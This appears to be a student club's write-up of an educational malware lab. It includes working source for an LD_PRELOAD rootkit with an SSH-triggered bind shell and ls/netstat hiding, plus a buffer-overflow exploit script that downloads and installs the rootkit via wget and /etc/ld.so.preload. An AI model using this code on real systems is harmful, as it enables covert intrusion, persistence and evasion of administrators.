(Ethical) Malware Development

Diving deep into malware development


cover

Disclaimer

I am not an expert in this topic, and this project is merely my interpretation/attempt at rootkit development. If you have any suggestions for improvement, please suggest them on GitHub issues in this repo. Also, never use any of the techniques discussed for malicious purposes. If you want to try out any of the code we've written, it is critical that you run it in a VM, as mistakes could brick your system.

For ACM Cyber this spring quarter, we decided to branch off from our workshop/lecture-based style of teaching to try something more practical. To achieve this we offered a "Malware Development Lab" and the "Secure OS Development Lab" instead. Both were intended to be low-level cyber-security projects allowing people to get their hands dirty with practical cybersecurity from a development point of view. This post details the curriculum, outcomes, and results of this quarter's Malware Lab.

Lab Objectives

Overall we had three major objectives in teaching this lab.

  1. Develop functional Linux rootkits using c
  2. Exploit a toy vulnerability to install our rootkit and gain persistent access
  3. Teach students how to apply operating systems and network programming fundamentals to create malware.

We aimed to require little previous knowledge regarding these subject matters, a tough task given we only had 10 hours of total workshop time.

The base architecture of our rootkits took heavy inspiration from the one developed in this post. If you're interested in developing your own rootkit, I highly recommend reading this post as it contains great in-depth technical explanations of many of the features we added.

Our base architecture (Linux-specific) was composed of two features:

  1. A trigger mechanism that calls a function upon ssh login attempts with a trigger username
  2. A forked bind shell process started by the trigger mechanism

Additionally, I added some features similar to those detailed in the post including ls and netstat evasion.

In the end, these base features resulted in a malicious LD_PRELOAD rootkit that provided persistent shell access while hiding from ls and netstat.

Curriculum

In total we had 5 workshops throughout the quarter. Our approach was to spend the first three weeks having our attendees develop the base features (trigger, bind shell, exploit script), and then give them the remaining two of weeks to add their own features. Finally, at the end of the quarter, we provided them with target servers which they were tasked with exploiting to demo their features in front of an audience at our end-of-quarter symposium.

Our curriculum followed this structure:

  • Week 3
    • VM setup
    • OS concepts
    • System call hooking
    • Trigger mechanism
  • Week 4:
    • Networking
    • Bind shell
  • Week 5: break for midterms
  • Week 6:
    • Buffer overflows
    • Exploit script
  • Week 7:
    • Industry talk
    • Overview of potential custom features
    • Begin Development on custom features
  • Week 8: work session
  • Week 9: demos

System Call Hooking

At its core, the rootkit revolves around one basic principle: System Call Hooking. The basic idea is that we want to insert a thin layer between the user and the operating system without the user's knowledge. This way we can manipulate the information moving between the user and the operating system allowing us to inject custom functionality and cover our tracks.

System calls

To use any services offered by the operating system, programs make use of syscalls to essentially "ask" the operating system to do things. This stands in contrast to normal library function calls as the user program has no control over the CPU during syscall execution.

An example of an operating system service is file manipulation since the filesystem and processes are managed by the Linux kernel in our case. For example, let us examine a basic hello world program in C.

#include <stdio.h>

int main(int argc, char** argv)
{
    printf("Hello World\n");
    return 0;
}

This program uses the printf function from <stdio.h>, to write "Hello World\n" to standard output. However, writing to standard output is technically file manipulation, and thus it requires operating system intervention. This can be illustrated by looking at the generated x86-64 machine code.

0000000000001149 <main>:
    1149:	f3 0f 1e fa          	endbr64
    114d:	55                   	push   rbp
    114e:	48 89 e5             	mov    rbp,rsp
    1151:	48 83 ec 10          	sub    rsp,0x10
    1155:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
    1158:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
    115c:	48 8d 05 a1 0e 00 00 	lea    rax,[rip+0xea1]        # 2004 <_IO_stdin_used+0x4>
    1163:	48 89 c7             	mov    rdi,rax
    1166:	e8 e5 fe ff ff       	call   1050 <puts@plt>
    116b:	b8 00 00 00 00       	mov    eax,0x0
    1170:	c9                   	leave  
    1171:	c3                   	ret

In this case, it uses the puts system call (instruction at 0x1166). This syscall simply takes a string as input and writes it to stdout.

Shared Libraries

As you can imagine, this system call is very widely used. Because of this, it would be very inefficient to save a copy of puts in every binary.

Instead, it's more efficient to save a single copy of puts somewhere on the system, and have all programs on the system share that copy. In fact its even better if we bundle all of the commonly used functions and save them in one place so that all our programs can simply refer to the copy. This process is known as dynamic linking as this library is linked at run time as opposed to compile time (static linking).

In this case, the library is called a shared library. puts is stored in libc (/lib/libc.so.6), which contains all of the C functions in the standard library.

ld.so.preload

Something interesting about dynamic linking on Linux is that you can influence how it works using environment variables. One such variable is LD_PRELOAD. Setting this variable allows you to change the order in which dynamic libraries are loaded at runtime. Specifically, it contains the path of shared libraries you want to load first.

We can exploit this by writing our own shared library, and adding its name to the LD_PRELOAD variable. This way, functions from our library will be loaded before those in libc. Critically, if we write functions with equivalent signatures to those in libc, ours will be loaded first and thus take priority over those in libc. This is extremely powerful because it means we can effectively overwrite the code for any libc system call globally on the system.

Note, you can also write to the file /etc/ld.so.preload to achieve a more permanent effect

System Call Hooking

In essence, a syscall hook is simply a wrapper around an existing syscall. Generally, we use this to filter the incoming or outgoing data from a real system call. As syscalls act as a portal into the operating system, this means that we can control the traffic between user programs and the OS.

Below is an example of how we can hook the puts syscall to replace the message "cat" with the message "dog".

/* Hooked Syscall - overrides actual puts syscall */
int puts(const char *message)
{
    /* function pointer for original puts syscall (not yet initialized) */
    int (*real_puts)(const char *message);

    /*
     * 1. Get address of next "puts" symbol from dynamic linker
     * 2. assign real_puts to point to it
     * 3. Now real_puts points to the REAL puts syscall
     */
    real_puts = dlsym(RTLD_NEXT, "puts");

    /* If puts is attempting to write our target string,
     	 inject our subsequent payload instead */
    if (strcmp(message, "cat") == 0)
        return real_puts("dog");

     /* Otherwise simply forward call to REAL puts (this is the case for the vast majority of traffic) */
    return real_puts(message);
}

Next, we compile this code into a shared library and put the path in the /etc/ld.so.preload file. After doing so, running the following program will produce interesting results.

int main()
{
    printf("cat");
    return 0;
}
$ gcc -o cat cat.c
$ ./cat
dog
$

As you can see, we have indirectly manipulated printf's behavior. The program is correctly using the printf function, however, it is not behaving as expected.

At the heart of this example is the dlsym call. While it looks complicated, it simply retrieves the next dynamically linked occurrence of the puts symbol. Since our library was loaded before libc, the next occurrence is the original puts syscall in libc. Since real_puts is a function pointer, this line simply initializes real_puts to the address of the real puts function. We can now use real_puts freely within our wrapper.

Since our library is loaded before libc, any program calling printf, and by extension puts, will actually be calling our puts function. This means that any program on the entire system that wants to print "cat" to stdout, will actually end up printing "dog" instead. Critically, however, any call to puts that isn't literally printing "cat" is left completely untouched.

While this example is relatively innocuous, it gives us a glimpse into the potential host of features we could develop. Not only can it be used to arbitrarily execute code, but it can also be used to cover up evidence of the rootkit entirely as we can control exactly what the operating system is telling the user. The user could be attempting to detect the rootkit and the OS could be screaming for help, but we can easily redirect those calls for help into the void, leading the user into a false sense of security.

Note that this program will only replace exactly the message "cat" with the message "dog". If someone writes "I like cats", it will still print "I like cats" since strcmp checks for an exact match with "cat". Qualities like this are actually rather important when it comes to designing a rootkit since all the global puts traffic will be routed through your function, and the vast majority of traffic shouldn't trigger your rootkit features to preserve discretion.

Trigger Mechanism

For our rootkits, the goal was to gain persistent access to a machine. To achieve this, you need to open some sort of backdoor shell on command. This requires a built-in trigger mechanism to open a shell.

In our case, we are looking to attack a Linux machine that presumably has SSH installed. While there are many ways of implementing this, we again took heavy inspiration from the aforementioned blog post. Specifically, the ssh feature we aimed to exploit was the logging mechanism.

Every time that a user attempts to connect to a machine on ssh, the ssh daemon logs the attempt along with the username and some other information to /var/log/auth.log. Critically this information is logged whether the attempt is successful or not and the SSH daemon uses the write system call to write to the file.

We can leverage this feature and hook the write system call to trigger a shell when a user attempts to log in with a specific username. This is great as it will only trigger if a user attempts to log in with a trigger username. In all other cases SSH will function normally.

Here is the code for the trigger.

#define TRIGGER_USERNAME "joebruin"

void start_bind4()
{
    /* Filled in with bind shell code later on */
}

/* Function definition matching that of the write syscall */
ssize_t write(int fildes, const void *buf, size_t nbytes) {
    ssize_t (*real_write) (int fildes, const void *buf, size_t nbytes);
    ssize_t result;

    real_write = dlsym(RTLD_NEXT, "write");

    /* Continue normally if message doesn't contain trigger */
    if (strstr(buf, TRIGGER_USERNAME) == NULL) {
        return real_write(fildes, buf, nbytes);
    }

    /* write original bytes to /dev/null to hide output from log */
    fildes = open("/dev/null", O_WRONLY | O_APPEND);
    result = real_write(fildes, buf, nbytes);

    /* Open the bind shell backdoor */
    start_bind4();

    return result;
}

Note, in reality, you should probably use a more complicated trigger than joebruin, as this hook will actually trigger whenever any global program tries to write something containing "joebruin" to any file. As it is short and comprised of actual words, it's likely that this could trigger unintentionally. For our actual rootkit, we made the trigger username a long string of base64 text, where unintentional triggering is extremely unlikely.

Bind Shell

At this point, we had a single hook that called a function when a user attempted to ssh into the server with a trigger username. Given the next goal for our rootkit was persistent access, we decided to write code to set up a bind shell whenever the user used the trigger mechanism.

#define BIND_PORT XXXXX

void start_bind4()
{
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(BIND_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    /* allow reuse of local address */
    const static int optval = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    /* bind socket to local address */
    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
    listen(sockfd, 0);

    int client_sockfd = accept(sockfd, NULL, NULL);
    int pid = fork();
    if (pid == 0) {
        for (int i = 0; i < 3; i++)
            dup2(client_sockfd, i);

        execve("/bin/bash", NULL, NULL);
    }
    close(sockfd);
}

The first several statements are fairly standard networking C code. They simply create a socket, bind it to the ip address of the server, listen for a connection, and accept the first client connection on the specified port.

Next, the program forks, creating a copy of the running process (the ssh daemon in this case). Next the function dup2 overwrites the stdout, stdin, and stderr file descriptors with the socket, effectively rerouting stdin, stdout, and stderr to the connection. Finally, the program execs a shell, replacing the currently running process (forked version) with the shell program.

In the end, this spawns a separate shell process with its input and output routed to the client socket.

After attempting an SSH login with the trigger username, the attacker can then connect to this shell using Netcat.

nc TARGET_ADDRESS BIND_PORT

Note, the reason we call it a bind shell is because we bind the socket to the target's address. This indicates that the target acts as the server, and the client (attacker in this case) connects to the target. Conversely, we could have created a reverse shell where the target acts as the client that connects to the attacker's Command and Control server to control the target.

Target

Now that we had the base features developed, it was time for exploitation. While our original goal was to exploit an old CVE, we ended up going with a toy buffer overflow vulnerability and homerolled exploit script for educational purposes.

Note for future workshops: In hindsight, we probably should have gone with a CVE as to use Msfvenom since it would have been much easier to explain and more practically useful, however, both approaches have pros and cons.

I won't go too in-depth into the vulnerability or mechanics behind how buffer overflows work since that's a little out of the scope of this post, but there are plenty of resources online if you are interested.

Target Machine

The target machine had a couple of characteristics. It was a web server hosting a static HTTP page via Apache on an Ubuntu system. Additionally, it was running sshd, and the vulnerable target program detailed in the next section.

Website

The static webpage hosted is shown above.

To configure and run this target machine we used docker to set up several target machines.

Here is the Dockerfile used to configure our machine.

# ASLR must be disabled on host machine

FROM ubuntu:jammy

RUN apt-get update && \
    apt-get -y dist-upgrade && \
    apt-get -y install gcc && \
    apt-get -y install make && \
    apt-get -y install rsyslog && \
    apt-get -y install vim && \
    apt-get -y install python3 && \
    apt-get -y install python3-pip && \
    apt-get -y install apache2 sudo && \
    apt-get -y install openssh-server sudo

RUN pip install pwn

WORKDIR /vuln
COPY . .

# Configure Static Site
RUN cp ./site/* /var/www/html/

RUN make target
RUN chmod 777 target
RUN chown 0 target

# Expose port for rev shell
EXPOSE 2002

CMD ["./start.sh"]

Ideally, we would start all of our services in the Dockerfile, but doing so is not possible as we can't enable services until after the Dockerfile finishes running. This is in line with the philosophy that docker containers should only be running one real task each. However, in this case, we are trying to simulate a monolithic server architecture so we can get around this by starting the services in our entry point script start.sh instead.

#!/bin/sh

# These commands need to be run at runtime (don't work during docker build)

# disable rsyslogd security precautions (so that system logger is run as root)
sed -i "s/FileOwner syslog/FileOwner root/g" /etc/rsyslog.conf
sed -i "s/PrivDropToGroup syslog/PrivDropToGroup root/g" /etc/rsyslog.conf
sed -i "s/PrivDropToUser syslog/PrivDropToUser root/g" /etc/rsyslog.conff

sudo rsyslogd
service ssh start
service apache2 start

./target

You might notice that we are running rsyslog as well. This is because docker containers actually have ssh logging indirectly disabled by default. Normally, logging is managed by the syslog service, however, this service is started by the init system, which isn't run in docker containers automatically. To get around this we have to start it manually. Additionally, we need to configure rsyslogd to run as root because it runs as the rsyslog user by default for security reasons :'(.

Given this setup, the object was to:

  1. Hijack the target program
  2. Gain persistent access by installing the rootkit
  3. Modify the static website

Target Binary

Below is the source code for the target binary. Keep in mind that the emphasis of this workshop was on the malware, so in this case, the vulnerability was trivial.

#include <arpa/inet.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/queue.h>
#include <sys/socket.h>
#include <unistd.h>

#define LISTEN_PORT 2000

volatile int server_sockfd;
volatile int client_sockfd;

void interact()
{
    char out[264];
    char in[256];

    strcpy(out, "Enter your name: ");

    send(client_sockfd, out, strlen(out), 0);

    /* BUFFER OVERFLOW OCCURS HERE */
    recv(client_sockfd, in, 1024, 0);

    strcpy(out, "Hello: ");
    strcat(out, in);

    send(client_sockfd, out, strlen(out), 0);
}

/* Start server and redirect stdin and stdout to socket */
int setup_server()
{
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LISTEN_PORT);
    addr.sin_addr.s_addr = INADDR_ANY;

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    /* allow reuse of local address */
    const static int optval = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));

    /* bind socket to local address */
    bind(sockfd, (struct sockaddr*) &addr, sizeof(addr));
    listen(sockfd, 0);

    return sockfd;
}

void sighandler(int sig)
{
    close(client_sockfd);
    close(server_sockfd);
}

int main()
{
    signal(SIGINT, sighandler); // used for debugging purposes
    server_sockfd = setup_server();

    struct sockaddr_in client_addr;
    unsigned sin_size = 0;

    while (true) {
        client_sockfd = accept(server_sockfd, (struct sockaddr *) &client_addr, &sin_size);
        interact();
        close(client_sockfd);     
    }

    return 0;
}

As you can see this is a basic program that listens on a socket and echos "Hello: whatever they enter" in a loop indefinitely. However, in the interact function, it allows the user to send up to 1024 bytes into a 256-byte buffer. This is a classic buffer overflow.

target

As you can see the target also had no binary protections, and ASLR was disabled on the target server. Because of this, exploitation was pretty trivial.

Exploitation

For exploitation, we used a sort of two-stage payload. Essentially, our script would hijack the instruction pointer of the target program, and then start a bind shell on another port. Next, the script would connect to that bind shell, and automatically install the rootkit after downloading it from some static server (my personal website in this case).

Since we had several groups, we hosted several target machines and several payloads. Each group was assigned a target number which they would input into this script. Then the script would be configured to attack their target with their payload.

Here is the completed script:

from pwn import *

'''
Set the below target number to your assigned target number to automate the installation process
'''
target_num = 1

# ---------------------------------

context.arch = 'amd64'

# obtained using gdb
base_addr = 0x7fffffffea70
diff = 0x7fffffffdd38 - 0x7fffffffdb20

target_addr = 'mw-demo.roryhemmings.com'
target_port = target_num*1000 + 1000
stage_two_port_external = target_num*1000 + 1002
stage_two_port_internal = 2002

rootkit_download_addr = f'mw-demo.roryhemmings.com/rootkit{target_num}.tz'
rootkit_filename = f'rootkit{target_num}.tz'

# Set up the connection to the target system
target = remote(target_addr, target_port)

# Generate the stage 1 shellcode to connect to the target
stage1_shellcode = shellcraft.amd64.linux.bindsh(stage_two_port_internal, target_addr)

# Assemble and send the stage 1 shellcode to the target system
assembled_stage1_shellcode = asm(stage1_shellcode)

padding = b'\0' * (diff - 1 - len(assembled_stage1_shellcode))
raddr = p64(base_addr + 1)

payload = b'\0' + assembled_stage1_shellcode + padding + raddr
target.send(payload)

# Connect to bind shell and install rootkit
setup_target = remote(target_addr, stage_two_port_external)
setup_target.sendline(f'wget {rootkit_download_addr}'.encode('ascii'))
setup_target.sendline(f'tar -xzf {rootkit_filename}'.encode('ascii'))
setup_target.sendline('./drop.sh'.encode('ascii')) 	# installs the rootkit
setup_target.sendline(f'rm {rootkit_filename}'.encode('ascii'))
setup_target.sendline('rm rootkit.so'.encode('ascii'))
setup_target.sendline('rm ./drop.sh'.encode('ascii'))
setup_target.sendline('echo "You have been hacked" > hacked.txt'.encode('ascii'))
setup_target.recvuntil('...'.encode('ascii'), timeout=1)

setup_target.close()
target.close()

To actually install the rootkit this script calls another script ./drop.sh. That script is shown below.

#!/bin/bash

LIBNAME=rootkit.so
LIBPATH="$PWD/$LIBNAME"
LIBDEST="/lib/$LIBNAME"

mv $LIBNAME $LIBDEST
echo $LIBDEST > /etc/ld.so.preload
sudo systemctl restart ssh

It simply moves the rootkit to the /lib directory and then adds its path to the /etc/ld.so.preload. Next, it restarts sshd so that it starts using the write system call from rootkit.so instead of libc.

Developed Features

After each group implemented their base features along with the exploit script, each team got to implement custom features of their choice. Unfortunately, we didn't end up having as much time as expected, so the custom features ended up being less so features, and more so post-exploitation demos.

Evasion

Our first group decided to directly expand upon the base rootkit by reading further into the original blog post. They introduced 2 evasion features to hide the rootkit from ls and netstat.

LS

Hiding from ls is rather simple. For LS to function, it uses the readdir syscall to iterate through a directory. Given a pointer to a directory stream, the readdir syscall is meant to return the next directory entry in the directory. Calling it in a loop allows ls to iterate through a directory and list information about each file.

However, our goal was to hide a file from ls. To do so, we can hook the readdir syscall, and then instruct it to skip over the rootkit directory entry. This way, as ls iterates through a directory, it fails to detect our malicious library.

/* Hide from ls */
struct dirent *readdir(DIR *dirp) {
    struct dirent *(*real_readdir) (DIR *dir);
      real_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;

    /* finds file that doesn't contain rootkit.so */
    while (dir = real_readdir(dirp))
        if (strstr(dir->d_name, LIBRARY_FILENAME) == 0)
            break;

    return dir;
}

As you can see, our code just wraps the real readdir syscall, which gets the next directory entry given a directory pointer. However, our code continues calling this function to get the next entry, until it finds one that doesn't contain our rootkit's filename. This way ls, and any other utility reading the contents of a directory, will skip over our rootkit.

After including this in the rootkit, ls will work as normal, except that it will never output a trace of our rootkit.so file.

Note: using ls -ld rootkit.so will still work as it uses a different system call to gather information about the file. This was helpful because it allowed us to ensure that the evasion feature was working.

netstat

Hiding from netstat is slightly more involved, however the approach is still pretty simple. netstat works by reading information from the special file /proc/net/tcp into a buffer and then writing/formatting its contents out to the terminal. The file /proc/net/tcp is a proc file that acts as a window into the operating system to gain information about active TCP connections.

Since netstat, has to read from this file, we can hook the fopen syscall used to read this proc file and filter out evidence of our backdoor TCP connections before returning its contents to the user.

To achieve this, we read each line from /proc/net/tcp, and write it to a temporary file if it doesn't contain evidence of our backdoor (the port in this case). Then we just return a pointer to the temporary file, so that netstat will read from our clean dummy file as opposed to /proc/net/tcp.

/* Hide from netstat */
FILE *fopen(const char *pathname, const char *mode)
{
    FILE *(*real_fopen)(const char *pathname, const char *mode);
    real_fopen = dlsym(RTLD_NEXT, "fopen");

    /* If file is not /proc/net/tcp, run fopen normally */
    /* /proc/net/tcp -> requests info about active tcp connections from the OS */
    if (strstr(pathname, "/proc/net/tcp") == NULL)
        return real_fopen(pathname, mode);

    /* Convert port to string */
    char S_BIND_PORT[6];
    itoa(BIND_PORT, S_BIND_PORT, 10);

    /* Create temporary file to store clean data */
    char line[256];
    FILE *temp = tmpfile();
    FILE *fp = real_fopen(pathname, mode);

    /* Copy each line from /proc/net/tcp, excluding lines containing backdoor port number */
    while (fgets(line, sizeof(line), fp))
    {
        /* If line doesn't contain rootkit port number, copy to clean file */
        if (strstr(line, S_BIND_PORT) == NULL)
            fputs(line, temp);
    }

    /* Return clean file */
    return temp;
}

Once this is included in the rootkit library, netstat will list all open TCP connections except those involving the rootkit's backdoor port.

Webpage Injection

Our second group completed the post-exploitation objective of modifying the static webpage on the target server.

To achieve this they simply modified the HTML for the static webpage using sed to include their own CSS and modify the existing HTML. By doing this, they were able to change the text and background color of the page as a proof of concept.

Although I've lost the exact script they used, it looked something like this:

sed -i "s/Unhackable/Hackable/g" index.html
sed -i "s/I bet you can't change this text/We changed the text/g" index.html
mkdir css
echo "body { background-color: red; }" > css/style.css

After running these commands, the website went from this:

before

to this:

after

They completed this attack in front of a live audience to demonstrate the capabilities of a persistent root shell.

Shred

For our grand finale, our last team wanted to experiment a little bit to cause pure chaos. After modifying the website a bit more using javascript injection, they simply shredded the root directory of the server in front of a live audience to see what would happen.

After some time, the website went down, and the terminal went haywire as it couldn't even print status messages after libc was erased.

While somewhat of a joke, this attack does demonstrate the capabilities of our rootkit. With persistent root access, you can run literally any attack you want, from precise monitoring and spying to wiping the system clean altogether.

While we didn't have time to implement a ton of new features, some proposed features for the future include:

  • Implementing a reverse shell instead of a bind shell
  • Creating a C2C server and using our rootkit to create botnets
  • Exploiting a CVE instead of our toy vulnerability for installation
  • Including a built-in keylogger with the rootkit

Conclusion

Overall our workshop was a success, however, along the way, we learned some things that should be taken into consideration for the future.

Namely:

  • We should have had one group working on one big rootkit as opposed to 3 smaller ones
    • Would have allowed for a better overall rootkit with more features
  • The target environment was extremely hacky, and we should have put more thought into it from the start.
    • We were simulating a monolithic server with docker, which led to several problems
  • Exploiting a toy vulnerability was a bit out of the scope of this workshop. We probably should have used an old CVE + Msfvenom to simplify exploitation and provide more practical experience.

If you have any questions or want to learn more, I highly recommend the resources below.

Resources

Slides: